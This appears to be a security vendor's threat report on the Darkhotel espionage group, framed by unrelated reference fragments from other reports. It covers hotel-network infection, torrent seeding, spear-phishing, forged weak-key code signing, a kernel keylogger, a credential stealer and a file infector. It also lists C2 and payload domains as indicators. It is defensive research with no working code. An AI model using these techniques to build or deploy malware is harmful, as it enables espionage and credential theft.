https://www.virustotal.com/en/file/d9da10e6381cb5c97a966bab0e3bdb3966a61e3e49147cd112dc3beabe22a2c3/analysis/
8   https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-hardy.pdf
9   https://securelist.com/files/2014/08/KL_report_syrian_malware.pdf
10   https://www.fireeye.com/blog/threat-research/2014/08/connecting-the-dots-syrian-malware-team-uses-blackworm-
for-attacks.html
11   https://citizenlab.org/2014/03/maliciously-repackaged-psiphon/
12
https://www.eff.org/document/quantum-surveillance-familiar-actors-and-possible-false-flags-syrian-malware-
campaigns
13
http://www.birminghammail.co.uk/news/midlands-news/birmingham-hacker-junaid-hussain-syria-7291864
14
http://www.dailymail.co.uk/news/article-2166850/Junaid-Hussain-Team-Poison-hacker-18-published-Tony-Blairs-
address-book-online-faces-jail.html
15
The most recent Citizen Lab report on this topic is Communities @ Risk, which details a four-year long study of targeted
digital threats against ten civil society organizations.
https://targetedthreats.net
The Darkhotel APT
A Story of Unusual
Hospitality
Version 1.0
November, 2014
Global Research and Analysis Team
2
Contents
Executive Summary.................................................................................................3
Introduction.............................................................................................................4
Analysis....................................................................................................................5
Delivery - Hotels/Business Centers and Indiscriminate Spread.....................5
Hotels and Business Centers Spread.........................................................5
Abusing Network Infrastructure...................................................................6
Indiscriminate Spread..................................................................................7
Darkhotel Spear-phishing Campaigns........................................................8
Recent 0-day Deployment...........................................................................9
Digital Certificates and Delegitimizing Certificate Authority Trust...................9
Cracking the keys...................................................................................... 12
Other Tapaoux Certificates........................................................................ 12
Enhanced Keyloggers and Development...................................................... 13
Keylogger Code.......................................................................................... 13
Interesting Malware Components....................................................................... 15
Small Downloader.......................................................................................... 15
Information Stealer......................................................................................... 16
Trojan.
Win32.Karba.e..................................................................................... 17
Trojan-Dropper & Injector (infected legitimate files)..................................... 17
Selective Infector............................................................................................ 18
Campaign Codes............................................................................................. 18
Infrastructure and Victims................................................................................... 19
Sinkhole Domains........................................................................................... 19
Victim Locations - KSN and Sinkhole Data.................................................... 20
KSN Data................................................................................................... 20
Sinkhole Data............................................................................................ 22
Available ddrlog Victim Data........................................................................... 22
C2 Communications and Structure............................................................... 24
Victim Management........................................................................................ 25
Researcher Activity.................................................................................... 26
Conclusions.......................................................................................................... 27
TLP: Green	                             For any inquiries, please contact intelreports@kaspersky.com
3
Executive Summary
The Darkhotel APT is a threat actor possessing a seemingly inconsistent and con-
tradictory set of characteristics, some advanced and some fairly rudimentary.
In-
hospitably operating for almost a decade, the threat actor is currently active.
The
actor’s offensive activity can be tied to specific hotel and business center Wi‑Fi
and physical connections, some of it is also tied to p2p/file sharing networks,
and they have been known to spear-phish targets as well.
Darkhotel tools are
detected as “Tapaoux”, “Pioneer”, “Karba”, and “Nemim”, among other names.
The following list presents a set of characteristics for the crew:
•	 operational competence to compromise, mis-use, and maintain access to
global scale, trusted commercial network resources with strategic precision
for years
•	 advanced mathematical and crypto-analytical offensive capabilities, along
with no regard for undermining the trust extended to the Certificate Authorities
and the PKI
•	 indiscriminately infect systems with some regional clarity over trusted and
untrusted resources to build and operate large botnets
•	 well-developed low level keyloggers within an effective and consistent toolset
•	 a focus throughout campaigns on specific victim categories and tagging them
•	 a larger, dynamic infrastructure built of apache webservers, dynamic dns
records, crypto libraries, and php webapps
•	 regular 0-day access - recent deployment of an embedded Adobe Flash 0-day
spear-phishing exploit, and infrequent deployment of other 0-day resources to
sustain larger campaigns over several years
TLP: Green	               For any inquiries, please contact intelreports@kaspersky.com
4
Introduction
When unsuspecting guests, including situationally aware corporate executives and
high-tech entrepreneurs, travel to a variety of hotels and connect to the internet,
they are infected with a rare APT Trojan posing as any one of several major software
releases.
These might be GoogleToolbar, Adobe Flash, Windows Messenger, etc.
This first stage of malware helps the attackers to identify more significant victims,
leading to the selective download of more advanced stealing tools.
At the hotels, these installs are selectively distributed to targeted individuals.
This
group of attackers seems to know in advance when these individuals will arrive
and depart from their high-end hotels.
So, the attackers lay in wait until these
travelers arrive and connect to the Internet.
The FBI issued advisories about similar hotel incidents; Australian government offi-
cials produced similar, newsworthy accounts when they were infected.
While an FBI
announcement related to attacks on hotel guests overseas appeared in May 2012,
related Darkhotel samples were already circulating back in 2007.
And available
Darkhotel server log data records connections as early as Jan 1, 2009.
Addition-
ally, seeding p2p networks with widely spread malware and 0-day spear-phishing
attacks demonstrate that the Darkhotel APT maintains an effective toolset and a
long-running operation behind the questionable hospitality it shows its guests.
TLP: Green	                For any inquiries, please contact intelreports@kaspersky.com
5
Analysis
Delivery - Hotels/Business Centers and Indiscriminate Spread
Hotels and Business Centers Spread
The Darkhotel APT’s precise malware spread was observed in several hotels’
networks, where visitors connecting to the hotel’s Wi-Fi were prompted to install
software updates to popular software packages.
Of course, these packages were really installers for Darkhotel APT’s backdoors,
added to legitimate installers from Adobe and Google.
Digitally signed Darkhotel
backdoors were installed alongside the legitimate packages.
The most interesting thing about this delivery method is that the hotels require
guests to use their last name and room number to login, yet only a few guests
received the Darkhotel package.
When visiting the same hotels, our honeypot
research systems couldn’t attract a Darkhotel attack.
This data is inconclusive,
but it points to misuse of check-in information.
TLP: Green	               For any inquiries, please contact intelreports@kaspersky.com
6
Abusing Network Infrastructure
The Darkhotel actor maintained an effective intrusion set at hotel networks,
providing ample access to unexpected points of attack over several years.
These
staging points also provide the attackers with access to check-in/check-out and
identity information of visitors to high-end and luxury hotels.
As a part of an ongoing investigation, our research led us to embedded iframes
within hotel networks that redirected individuals’ web browsers to phony install-
ers.
The attackers were very careful with the placement of these iframes and
executables on trusted resources - the hotels’ network login portals themselves.
The attackers were also very careful to immediately delete all traces of their
tools as soon as an attack was carried out successfully.
Those portals are now
reviewed, cleaned and undergoing a further review and hardening process.
We
observed traces of a couple of these incidents in late 2013 and early 2014 on
a victim hotel’s network.
The attackers set up the environment and hit their
individual targets with precision.
As soon as their target’s stay was over and
the attack-frame was closed, the attackers deleted their iframe placement and
backdoored executables from the hotel network.
The attackers successfully de-
leted traces of their work from earlier attacks in another hotel, but their offensive
techniques were the same.
Outside reports of the same activity at other hotels
provide enough data to confirm the same careful operations there.
The attack technique blurs the line between a couple of common APT tactics;
fairly inaccurate “watering holes” or “strategic web compromises” and more
accurate spearphishing techniques.
In this case, the Darkhotel attackers wait
for their victim to connect to the Internet over the hotel Wi-Fi or the cable in their
room.
There is a very strong likelihood the targets will connect over these resourc-
es, and the attackers rely on that likelihood, much like at a watering hole.
But the
attackers also maintain truly precise targeting information over the victim’s visit,
much like they would know a victim’s email address and content interests in a
spearphishing attack.
While setting up the attack, the Darkhotel attackers knew
the target’s expected arrival and departure times, room number, and full name,
among other data.
This data enables the attackers to present the malicious
iframe precisely to that individual target.
So, here we have yet another unique
characteristic of this attacker - they employ a loosely certain but highly precise
offensive approach.
TLP: Green	                For any inquiries, please contact intelreports@kaspersky.com
7
Indiscriminate Spread
An example of the Darkhotel APT’s indiscriminate malware spreading is dem-
onstrated by the way it seeds Japanese p2p sharing sites, where the malware
is delivered as a part of a large (approximately 900mb) rar archive.
The archive
is also spread over bittorrent, as detailed below.
Darkhotel uses this method to
distribute their Karba Trojan.
These Japanese archives, translated for Chinese
speaking viewers, appear to be sexual in nature, part of an anime sex/military
comic scene, exposing the likely interests of potential targets.
This Darkhotel package was downloaded over 30,000 times in less than
six months.
The p2p bittorrent Darkhotel offering is listed here, posted on
2013.11.22.
It was spread throughout 2014.
(一般コミック) [古味直志] ニセコイ 第01­09巻.rar
This torrent serves up an almost 900 mb file.
The rar archive decompresses to
a directory full of encrypted zips, the associated decryptor and a password file for
decrypting the zips.
But what looks like the AxDecrypt.exe decryptor is bound to
both the true decryptor and the dropper for the Darkhotel Catch.exe Karba Trojan.
When a user downloads the torrent and decrypts the zip files, the trojan surrepti-
tiously is installed and run on the victim system.
Catch.exe, detected as Backdoor.
Win32.Agent.dgrn, communicates with the fol-
lowing Darkhotel command and control servers:
microdelta.crabdance.com
microyours.ignorelist.com
micronames.jumpingcrab.com
microchisk.mooo.com
microalba.serveftp.com
TLP: Green	                  For any inquiries, please contact intelreports@kaspersky.com
8
Other examples of this Darkhotel backdoor bound within a shared torrent include
adult content Japanese anime and more.
There are tens of thousands of down-
loads of these individual torrents.
“torrent\[hgd资源组][漫画]comic1☆7漫画合集③+④+⑤+特典[5.08g][绅士
向][总第四十三弹]（七夕节快乐！）\汉化\(comic1☆7) [莉零 (小鹿りな, 古
代兵器)] 凌 ­shinogi­(闪乱カグラ) [中文] “
and
“動漫\[hgd资源组][漫画]comic1☆7漫画合集③+④+⑤+特典[5.08g][绅士向][
总第四十三弹]（七夕节快乐！）\汉化”)
The associated Darkhotel backdoor was hosted on bittorrent, emule, etc, under
a variety of comic names.
Examples include comics and anime offerings.
Related
Darkhotel command and control server domains include:
microblo5.mooo.com
microyours.ignorelist.com
micronames.jumpingcrab.com
microchisk.mooo.com
microalba.serveftp.com
Darkhotel Spear-phishing Campaigns
Darkhotel campaigns involving typical spear-phished Tapaoux implants publicly
appeared in bits and pieces several times over the past five years.
These subproject
efforts targeted defense industrial base (DIB), government, and NGO organizations.
Email content on topics like nuclear energy and weaponry capabilities was used as
a lure.
Early accounts were posted on contagio describing attacks on NGO organi-
zations and government policy makers.
This spear-phishing activity continues into
2014.
The attacks follow the typical spear-phishing process and in the past couple of
months, exploited systems retrieved downloader executables from web servers like
hxxp://office­revision.com/update/files22/update.exe or hxxp://trade­inf.com/mt/
duspr.exe
Over the past few years the group has emailed links that redirect targets’ brows-
ers to Internet Explorer 0-day exploits.
Sometimes the attachment itself includes
an Adobe 0-day exploit.
TLP: Green	                   For any inquiries, please contact intelreports@kaspersky.com
9
Recent 0-day Deployment
This crew occasionally deploys 0-day exploits, but burns them when required.
In
the past few years, they deployed 0-day spear-phishing attacks targeting Adobe
products and Microsoft Internet Explorer, including cve­2010­0188.
In early 2014,
our researchers exposed their use of cve­2014­0497, a Flash 0-day described on
Securelist in early February.
The crew spear-phished a set of target systems connected to the Internet through
Chinese ISPs, and developed capabilities within the 0-day exploits to handle
hardened Windows 8.1 systems.
It’s interesting that the Flash objects were
embedded in Korean documents titled “List of the latest Japanese AV wind and
how to use torrents.docx” (loose English translation).
The dropped downloader
(d8137ded710d83e2339a97ee78494c34) delivered malcode similar to the
“Information Stealer” component functionality summarized below, and detailed
in Appendix D.
Digital Certificates and Delegitimizing Certificate Authority
Trust
The Darkhotel actors typically sign their backdoors with digital certificates of one
kind or another.
However, the certificates originally chosen by this crew are very
interesting because of their weak keys and likely abuse by attackers.
Here is a
listing of the certs that were commonly used to sign Darkhotel malcode, requiring
advanced mathematical capabilities to factorize the keys at the time.
They are
not the only certificates used by the group.
More recent activity suggests that the
group has stolen certificates to sign their code.
Subordinate
CA Root       CA/Issuer            Owner                    Status         Valid From   Valid To
GTE           Digisign Server ID   flexicorp.jaring.my sha1/ Expired       12/17/2008   12/17/2010
CyberTrust    (Enrich)             RSA (512 bits)
GTE           Cybertrust           inpack.syniverse.my      Revoked        2/13/2009    2/13/2011
CyberTrust    SureServer CA        sha1/RSA (512 bits)
GTE           Cybertrust           inpack.syniverse.com     Revoked        2/13/2009    2/13/2011
CyberTrust    SureServer CA        sha1/RSA (512 bits)
GTE           Anthem Inc           ahi.anthem.com sha1/     Invalid Sig.
1/13/2010    1/13/2011
CyberTrust    Certificate Auth     RSA (512 bits)
TLP: Green	                        For any inquiries, please contact intelreports@kaspersky.com
10
Subordinate
CA Root       CA/Issuer            Owner                       Status         Valid From   Valid To
GlobalSign    Deutsche Telekom www.kuechentraum2               Revoked        10/20/2008   10/25/2009
CA 5             4.de
sha1/RSA (512 bits)
GTE           Digisign Server ID   payments.bnm.gov.m y        Invalid Sig.
12/7/2009    12/7/2010
CyberTrust    (Enrich)             sha1/RSA (512 bits)
GTE           TaiCA Secure CA      esupplychain.com.tw         Expired        7/2/2010     7/17/2011
CyberTrust                         sha1/RSA (512 bits)
GTE           Digisign Server ID   mcrs2.digicert.com.
my      Invalid Sig    3/28/2010    3/28/2012
CyberTrust    (Enrich)             sha1/RSA (512 bits)
GTE           Cybertrust           agreement.syniverse.
Invalid Sig        2/13/2009    2/13/2011
CyberTrust    SureServer CA        com sha1/RSA (512 bits)
GTE           Cybertrust           ambermms.syniverse.
Invalid Sig.
2/16/2009    2/16/2011
CyberTrust    SureServer CA        com
sha1/RSA (512 bits)
Equifax       Equifax Secure       secure.hotelreykjavik.i s   Invalid Sig    2/27/2005    3/30/2007
Secure        eBusiness CA­1       md5/RSA (512 bits)
eBusiness
CA­1
GTE           Cybertrust           stfmail.ccn.ac.uk sha1/     Invalid Sig.
11/12/2008   11/12/2011
CyberTrust    Educational CA       RSA (512 bits)
GTE           Digisign Server ID   webmail.jaring.my sha1/ Invalid Sig        6/1/2009     6/1/2011
CyberTrust    (Enrich)             RSA (512 bits)
GTE           Cybertrust           skillsforge.londonmet.
Invalid Sig    1/16/2009    1/16/2012
CyberTrust    Educational CA       ac.uk
sha1/RSA (512 bits)
GTE           Digisign Server ID   anjungnet.mardi.gov.
my     Invalid Sig    9/29/2009    9/29/2011
CyberTrust    (Enrich)             sha1/RSA (512 bits)
GTE           Anthem Inc            dl­ait­middleware@an       Invalid Sig    4/22/2009    4/22/2010
CyberTrust    Certificate Authority them.com
sha1/RSA (512 bits)
GTE           Cybertrust           ad­idmapp.cityofbrist       Invalid Sig    9/11/2008    9/11/2011
CyberTrust    Educational CA       ol.ac.uk
sha1/RSA (512 bits)
Verisign      Verisign Class 3     secure2.eecu.com sha1/ Invalid Sig         10/25/2009   10/26/2010
Secure OFX CA G3     RSA (512 bits)
Root Agency Root Agency            Microsoft                   Invalid Sig    6/9/2009     12/31/2039
md5/RSA (1024 bits)
TLP: Green	                        For any inquiries, please contact intelreports@kaspersky.com
11
Subordinate
CA Root       CA/Issuer       Owner                      Status        Valid From   Valid To
GTE           CyberTrust      trainingforms.syniverse.
Invalid Sig   2/17/2009    2/17/2011
Cybertrust    SureServer CA   com
sha1/RSA (512 bits)
All related cases of signed Darkhotel malware share the same Root Certificate
Authority and Intermediate Certificate Authority that issued certificates with
weak md5 keys (RSA 512 bits).
We are confident that our Darkhotel threat actor
fraudulently duplicated these certificates to sign its malware.
These keys were
not stolen.
Many of the certificates were noted in a 2011 Fox­IT post “RSA­512
Certificates Abused in the Wild”.
To further support this speculation please note the non­specific Microsoft Security
Advisory below, the Mozilla advisory addressing the issue at the time, and the
Entrust responses.
From Microsoft’s security advisory from Thursday, November 10, 2011:
“Microsoft is aware that DigiCert Sdn.
Bhd, a Malaysian subordinate certifica-
tion authority (CA) under Entrust and GTE CyberTrust, has issued 22 certifi-
cates with weak 512 bit keys.
These weak encryption keys, when broken, could
allow an attacker to use the certificates fraudulently to spoof content, perform
phishing attacks, or perform man­in­the­middle attacks against all Web browser
users including users of Internet Explorer.
While this is not a vulnerability in a
Microsoft product, this issue affects all supported releases of Microsoft Windows.
There is no indication that any certificates were issued fraudulently.
Instead,
cryptographically weak keys have allowed some of the certificates to be dupli-
cated and used in a fraudulent manner.
Microsoft is providing an update for all supported releases of Microsoft Windows
that revokes the trust in DigiCert Sdn.
Bhd.
The update revokes the trust of the
following two intermediate CA certificates: Digisign Server ID – (Enrich), issued by
Entrust.net Certification Authority (2048) Digisign Server ID (Enrich), issued by
GTE CyberTrust Global Root”
From Mozilla’s 2011 response:
“While there is no indication they were issued fraudulently, the weak keys have
allowed the certificates to be compromised.
Furthermore, certificates from this
CA contain several technical issues.
They lack an EKU extension specifying their
intended usage and they have been issued without revocation information.”
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12
From Entrust’s response:
“There is no evidence that the Digicert Malaysia certificate authorities have been
compromised.”
Cracking the keys
Here are some notes on the costs and technical requirements of attacking these
certificates.
The computing power required to crack and factor an RSA 512 bit key was $5000
and the period of time required was about 2 weeks.
(see http://lukenotricks.
blogspot.co.at/2010/03/rsa­512­factoring­service­two­weeks.html)
In October 2012, Tom Ritter reported that it would cost about $120­-$150, per-
haps even as little as $75.
Going even further back, there was much discussion about the technical meth-
ods of cracking these keys:
DJ Bernstein’s 2001 paper on building a machine reducing the cost of integer
factorization with Number Field Sieve techniques, breaking 1024 bit RSA keys.
RSA’s reaction and 2002 statement on whether or not 1024 bit RSA keys are
broken: “NIST offered a table of proposed key sizes for discussion at its key man-
agement workshop in November 2001 [7].
For data that needs to be protected no
later than the year 2015, the table indicates that the RSA key size should be at
least 1024 bits.
For data that needs to be protected longer, the key size should be
at least 2048 bits.”
Other Tapaoux Certificates
Recent Tapaoux attacks and backdoors include malware signed with strong
SHA1/RSA 2048 bit certificates, suggesting certificate theft.
Subordinate
CA Root       CA/Issuer        Owner               Status       Valid From    Valid To
thawte        thawte Primary   Xuchang Hongguang Revoked        7/18/2013     7/16/2014
Root CA          Technology Co.,Ltd.
sha1/RSA (2048bits)
thawte        thawte Primary   Ningbo Gaoxinqu        Revoked   11/5/2013     11/5/2014
Root CA          zhidian Electric Power
Technology Co., Ltd.
sha1/RSA (2048bits)
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13
Enhanced Keyloggers and Development
One of the most interesting components that we discovered as a part of this cam-
paign was the use of a digitally­signed advanced keylogger.
It is clean, well­written,
kernel level malcode.
The languages of its strings are a mix of English and Korean.
It
is signed with the familiar “belinda.jablonski@syniverse.com” digital certificate.
This keylogger is dropped by code running within svchost.exe on WinXP SP3,
which maintains an interesting debug string:
d:\KerKey\KerKey(일반)\KerKey\release\KerKey.pdb
Note 일반 means “General” in Korean
It probably was developed as a part of a mid-to-late 2009 project:
e:\project\2009\x\total_source\32bit\ndiskpro\src\ioman.c
Keylogger Code
This driver package is built to resemble a legitimate low-level Microsoft system
device.
It is installed as a system kernel driver “Ndiskpro” service, described as
a “Microcode Update Device”.
It is slightly surprising that no rootkit functionality
hides this service:
When loaded, the NDISKPRO.SYS driver hooks both INT 0x01 and INT 0xff, and
retrieves keystroke data directly from port 0x60, the motherboard keyboard con-
troller itself.
It buffers, then communicates logged user data to the running user
mode component.
This component then encrypts and writes the retrieved values
ondisk to a randomly named .tmp, file like ffffz07131101.tmp.
This file is located
in the same directory as the original dropper, which maintains persistence across
reboots with a simple addition to the HKCU run key.
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14
This keylogger module encrypts and stores gathered data in a log file, as men-
tioned previously.
Its encryption algorithm is similar to RC4.
The interesting part is
that the module randomly generates the key and stores it in an unexpected place:
in the middle of the log file name.
Hence, the numeric part of the filename is used
as a seed for the pseudorandom number generator.
The rand function is statically
linked to ensure same results on different computers.
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15
Interesting Malware Components
The Darkhotel toolset consists of multiple components that have been slightly
modified over time.
These tools are dropped by hotel installers spoofing legiti-
mate software installers, bound within torrent bundles, or dropped by exploits or
hypertext linked from spear-phishing emails.
More advanced tools, like the keylogger decribed above, are later downloaded to
the victim system by one of these implants.
In a recent case, word docs embed-
ded with 0-day flash swf files either dropped these backdoors or downloaded and
executed backdoors from remote web servers.
These tools pull down the keylog-
ger, steal information from the system, or download other tools.
•	 small downloader
•	 information stealer
•	 Trojan
•	 dropper and self­injector
•	 selective infector
The most interesting behaviors of these components include
•	 highly unusual conditional 180 day command and control communications
delay
•	 self­kill routines when the system default codepage is set to Korean
•	 enhanced Microsoft IntelliForm authentication theft handling
•	 infostealer module Internet Explorer, Firefox, and Chrome support
•	 campaign or stage ID maintenance
•	 virtual machine execution sensitivity
•	 selective viral infection routines to focus the spread of malware within organi-
zations
•	 signed malcode (previously noted)
Small Downloader
This module is quite small (27Kb) and comes as a part of WinRar SFX file that drops
and starts the module from %APPDATA%\Microsoft\Crypto\DES64v7\msieckc.exe.
This module is designed to update malicious components through recurring checks
at the C&C server.
It is also capable of removing some older components, the names
of which are hardcoded in the body of the malware.
The module adds autorun registry
settings to enable an automatic start during system boot.
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16
One of the most interesting functions of this executable is its unusual delay and
persistence.
If a special file exists on the system, the module will not start calling
back to C&C server until the special file is 180 days old.
So, if some other critical
malicious component was removed during this period, current module backs up
and restores access to the system within 6 months.
The component gathers system information and sends it to the Darkhotel com-
mand and control servers as detailed in Appendix D.
Information Stealer
This module is relatively large (455Kb) and comes as a part of a WinRar SFX file
that drops and starts the module from %APPDATA%\Microsoft\Display\DmaUp3.
exe.
The main purpose of the module is to collect various secrets stored on a lo-
cal system and upload them to Darkhotel command and control servers:
•	   Cached passwords from Internet Explorer 6/7/8/9 (Windows Protected Storage)
•	   Mozilla Firefox stored secrets (<12.0)
•	   Chrome stored secrets
•	   Gmail Notifier credentials
•	   Intelliform­handled data and credentials:
◦◦ Twitter
◦◦ Facebook
◦◦ Yandex
◦◦ Qip
◦◦ Nifty
◦◦ Mail.ru
◦◦ 126.com email
◦◦ Zapak
◦◦ Lavabit (encrypted email service now shut down)
◦◦ Bigstring
◦◦ Gmx
◦◦ Sohu
◦◦ Zoho
◦◦ Sina
◦◦ Care2
◦◦ Mail.com
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17
◦◦ Fastmail
◦◦ Inbox
◦◦ Gawab (middle­eastern email service)
◦◦ 163.com
◦◦ Lycos
◦◦ Lycos mail
◦◦ Aol login
◦◦ Yahoo!
logins
◦◦ Yahoo!
Japan logins
◦◦ Microsoft Live logins
◦◦ Google login credentials
This module is designed to terminate itself on Windows with the system de-
fault codepage set to Korean.
Trojan.
Win32.Karba.e
This malware is 220Kb in size.
It was built as MFC framework application with a
lot of extra calls that should have complicated the analysis of the sample.
It mim-
ics a GUI desktop application but it does not create any visible windows or dialogs
to interact with local users.
The Trojan collects data about the system and anti­
malware software installed on it, and uploads that data to Darkhotel command
and control servers.
More technical details are provided in Appendix D.
Trojan-Dropper & Injector (infected legitimate files)
This malware is 63kb in size.
It is bound to a variety of other software packages
that vary in name, but the host package is consistently detected as “Virus.
Win32.
Pioneer.dx”.
It drops the igfxext.exe “selective infector” component to disk and
runs it.
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18
Selective Infector
This component is a virus, and is used to selectively infiltrate into other comput-
ers via USB or network shares.
First, the virus retrieves all available disks and starting from disk number 4 (D:\)
to disk number 20 (Z:\), finds executable files and infects them.
The code simply
brute forces the list of mapped removable drives.
During its infection routine, the infector changes the entrypoint of executable
files, creates an .rdat section, and inserts a small loader in the section, then puts
its main payload in the overlay.
Every infected file has functionality described in
Trojan­Dropper & Injector section, so it can collect information about the comput-
er, send it to the C2 and download other Darkhotel components as commanded.
Observed downloaded components are signed with a familiar expired certificate
from www.esupplychain.com.tw, issued by Cybertrust SureServer CA.
Again, further technical details are provided in Appendix D.
Campaign Codes
Almost every backdoor in this set maintains an internal campaign code or id, used
in initial c2 communications as described above.
Some IDs appear to be related to
geographic interests, others do not seem obvious.
We gathered a list of Darkhotel
campaign IDs shown below.
Internal IDs and c2 resources overlap across these com-
ponents, there is no pattern of distribution according to connectback resources.
The
most common id is “DEXT87”:
DEXT87                                 NKstep2-auto
step2-auto                              PANA(AMB)-auto
dome1-auto                                PANA#MERA
step2-down                                SOYA#2-auto
Java5.22                                step2-down-u
C@RNUL-auto                            (ULT)Q5SS@E.S-down
dome-down                                   VER1.5.1
M1Q84K3H                                     VICTORY
NKEX#V1.Q-auto                               WINM#V1.Q
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19
Infrastructure and Victims
This infrastructure team appears to employ a lesser skillset than top notch
campaigns, maintaining weak server configurations with limited monitoring and
defensive reactions, and making some simple mistakes.
However, they are ef-
fective at maintaining a fully available infrastructure to support new and existing
infections.
Overall, victims in our sinkhole logs and KSN data were found across the globe,
with the majority in Japan, Taiwan, China, Russia, Korea and Hong Kong.
Sinkhole Domains
The following C&C domains have been sinkholed and redirected to the Kaspersky
Sinkhole Server
42world.net                                  jpnspts.biz
academyhouse.us                              jpqueen.biz
adobeplugs.net                               mechanicalcomfort.net
amanity50.biz                                micromacs.org
autocashhh.hostmefree.org                    ncnbroadcasting.reportinside.net
autochecker.myftp.biz                        neao.biz
autoshop.hostmefree.org                      private.neao.biz
autoupdatfreeee.coolwwweb.com                reportinside.net
checkingvirusscan.com                        self­-makeups.com
dailyissue.net                               self-­makingups.com
dailypatch­-rnr2008.net                      sourcecodecenter.org
fenraw.northgeremy.info                      support­forum.org
generalemountina.com                         updatewifis.dyndns­-wiki.com
goathoney.biz
TLP: Green	               For any inquiries, please contact intelreports@kaspersky.com
20
Victim Locations - KSN and Sinkhole Data
KSN Data
Our Kaspersky Security Network detected Darkhotel infections across thousands
of machines, mostly related to the Darkhotel p2p campaigns.
These geolocation
estimates probably provide the most accurate picture of where Darkhotel activity
is occurring.
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21
Here is a pie chart to better visualize the proportions of attack activity throughout
the world.
As you can see, over 90% of it occurs in the top five countries: Japan,
followed by Taiwan, China, Russia and Korea.
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22
Sinkhole Data
Because the operators very actively build up new command and control serv-
ers, it is difficult to sinkhole enough domains to get an accurate overall picture
of victim system location based on this data.
Also, many researcher systems are
connected to the sinkholed domains.
However, this graph of current sinkhole
callbacks presents a low confidence distribution of victim geolocation, with India,
Japan, Ireland, Korea, China and Taiwan in the top slots.
Removing India and
Ireland, the set more closely matches our KSN data.
Available ddrlog Victim Data
Many of these c2s maintain a common directory path that serves a ddrlog.
The
ddrlogs appear to maintain callback data that the attackers want to set aside in
error logs.
Many of the callback URLs have errors, many are from unwanted IP
ranges, and others are clearly unwanted researcher sandbox system callbacks.
A description of the detailed connectback URL values and their xor/base64
encoding scheme is included in the “Interesting Malware Trojan.
Win32.Karba.e”
technical notes in Appendix D.
The Darkhotel c2 maintain these directory structures to store and serve ddrlog
content:
•	 /bin/error/ddrlog
•	 /patch/error/ddrlog
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23
The following structures appear to be common across servers, but do not pro-
duce ddrlog and do not maintain an /error/ directory:
•	 /u2/
•	 /u3/
•	 /patch2/
•	 /major/
•	 inor/
•	 /asp/
•	 /update3/
Two ddrlog files report entries starting January 1, 2009 at 9:16 a.m.
•	 autozone.000space.com
•	 genuinsman.phpnet.us
All of the logs maintain a significant number of entries, almost 50,000, with a
simple stamp “B” or “L”.
Those records are formatted in the following manner:
2009.01.01 09:16:00 150.70.xxx.xx >
­­ B
2009.01.01 09:16:33 150.70.xxx.xx >
­­ B
2009.01.01 09:14:52 220.108.x.xxx >
­­ L
2009.01.01 09:16:04 112.70.xx.xx >
­­ L
Only 120 IP addresses perform the “B” checkin, and 90% of these are from the
range 150.70.97.x.
This entire range is owned by Trend Micro in Tokyo, JP.
A handful of the remaining addresses, like 222.150.70.228, appear to come
from other ranges owned by Trend Micro in JP.
One outlier comes from an El Sal-
vadoran ISP, and another is connected to a Japanese ISP.
Approximately 20,000
IP addresses perform the “L” checkin.
Other ddrlogs may include “A” tags as well.
The “A” tag labels unwanted checkins from untargeted locations, like Hungary
and Italy.
The “B” tag labels unwanted checkins from Trend Micro IP ranges.
The “L” tag labels unwanted checkins from a variety of ranges, but includes odd
IP like the loopback address, 127.0.0.1, clearly an error.
Entries in these logs include callback URLs that have spaces and unusual charac-
ters that do not conform to the required base64 character dictionary.
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24
C2 Communications and Structure
Typical main page:
For begatrendstone.com, we have the following directory structure:
/bin
­read_i.php (main C&C script)
­login.php (unknown, replies “Wrong ID()”)
/bin/error (error logs stored here)
­ddrlog
/bin/tmp
/bin/SElhxxwiN3pxxiAPxxc9
-all.gif
/i
- encrypted stolen victim system content
/L
/f
For auto2116.phpnet.us, we have the following directory structure:
/patch
­chkupdate.php (main command and control script)
/patch/error
­ddrlog
The group encrypts victim data on their servers with single user/passkey combi-
nations across multiple victims.
When an unauthorized user attempts to access a
Darkhotel web interface for victim management without the correct passkey, the
html page and table layout renders properly, but all the data values on the page
are returned as garbled ciphertext.
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25
Victim Management
New victim systems appear to be systematically vetted.
The attackers maintain
a web interface to vet these new victim systems.
The attackers first and foremost
list and sort victim systems according to their latest c2 check­in.
Collected data
probably is presented in order of importance:
1.	 user’s logon name
2.	 system CPU and OS
3.
“Ping sec”, or how far the victim system is from the c2
4.
“In”, or the process that the attackers’ dll code executes within
5.
Vac: ?
?
6.	 system LAN IP
7.	 network WAN IP
Here is an example of one of these web pages:
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26
Researcher Activity
Clearly, some automated analysis activity involving researchers’ sandbox tools
are filling up these logs.
From June 2013 to April 2014 (approximately an 11
month period), in only 15 ddrlog files, we observe almost 7,000 connections from
research sandbox systems.
The network connections provide a1= through a3=
values identifying a QEMU based sandbox, all sourced from only 485 WAN IP ad-
dresses.
Under 30 lan IPs are recorded, all in the same 172.16.2.14­126 range.
This system(s) uses a “Dave” user account and “HOME­OFF­D5F0AC” Windows
system name.
These characteristics correspond with network activity generated by GFI Soft-
ware’s “CWsandbox” tools, now owned by “ThreatTrack Security”.
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27
Conclusions
For the past seven years, a strong threat actor named Darkhotel, also known as
Tapaoux, has carried out a number of successful attacks against a wide range of
victims from around the world.
It employs methods and techniques which go well
beyond typical cybercriminal behavior.
The Darkhotel crew’s skillset allows it to launch interesting cryptographical at-
tacks, for instance factoring 512 bit RSA keys.
Its use of 0-days is another indica-
tor of a strong threat actor.
The targeting of top executives from various large companies around the world
during their stay at certain “Dark Hotels” is one of the most interesting aspects of
this operation.
The exact method of targeting is still unknown - for instance, why
some people are targeted while others are not.
The fact that most of the time the
victims are top executives indicates the attackers have knowledge of their victims
whereabouts, including name and place of stay.
This paints a dark, dangerous
web in which unsuspecting travelers can easily fall.
While the exact reason why
some hotels function as an attacker vector are unknown, certain suspicions ex-
ist, indicating possibly a much larger compromise.
We are still investigating this
aspect of the operation and will publish more information in the future.
A further interesting trait is the deployment of multiple types of campaigns, both
targeted and botnet.
This is becoming more and more common on the APT scene,
where targeted attacks are used to compromise high profile victims and botnet
style operations are used for massive surveillance or performing other tasks such
as launching DDoS attacks on hostile parties or simply upgrading victims to more
sophisticated espionage tools.
We expect the Darkhotel crew to continue their activities against DIB, Govern-
ment and NGO sectors.
The appendix released with this paper provides technical
indicators of compromise which should help victims identify the malicious traffic
and enable targets to protect themselves better against attack.
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Kaspersky Lab HQ
39A/3 Leningradskoe Shosse
Moscow, 125212
Russian Federation
more contact details
Tel:	+7-495-797-8700
Fax:	+7-495-797-8709
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Website:	 www.kaspersky.com
Hikit Analysis
Basic Description
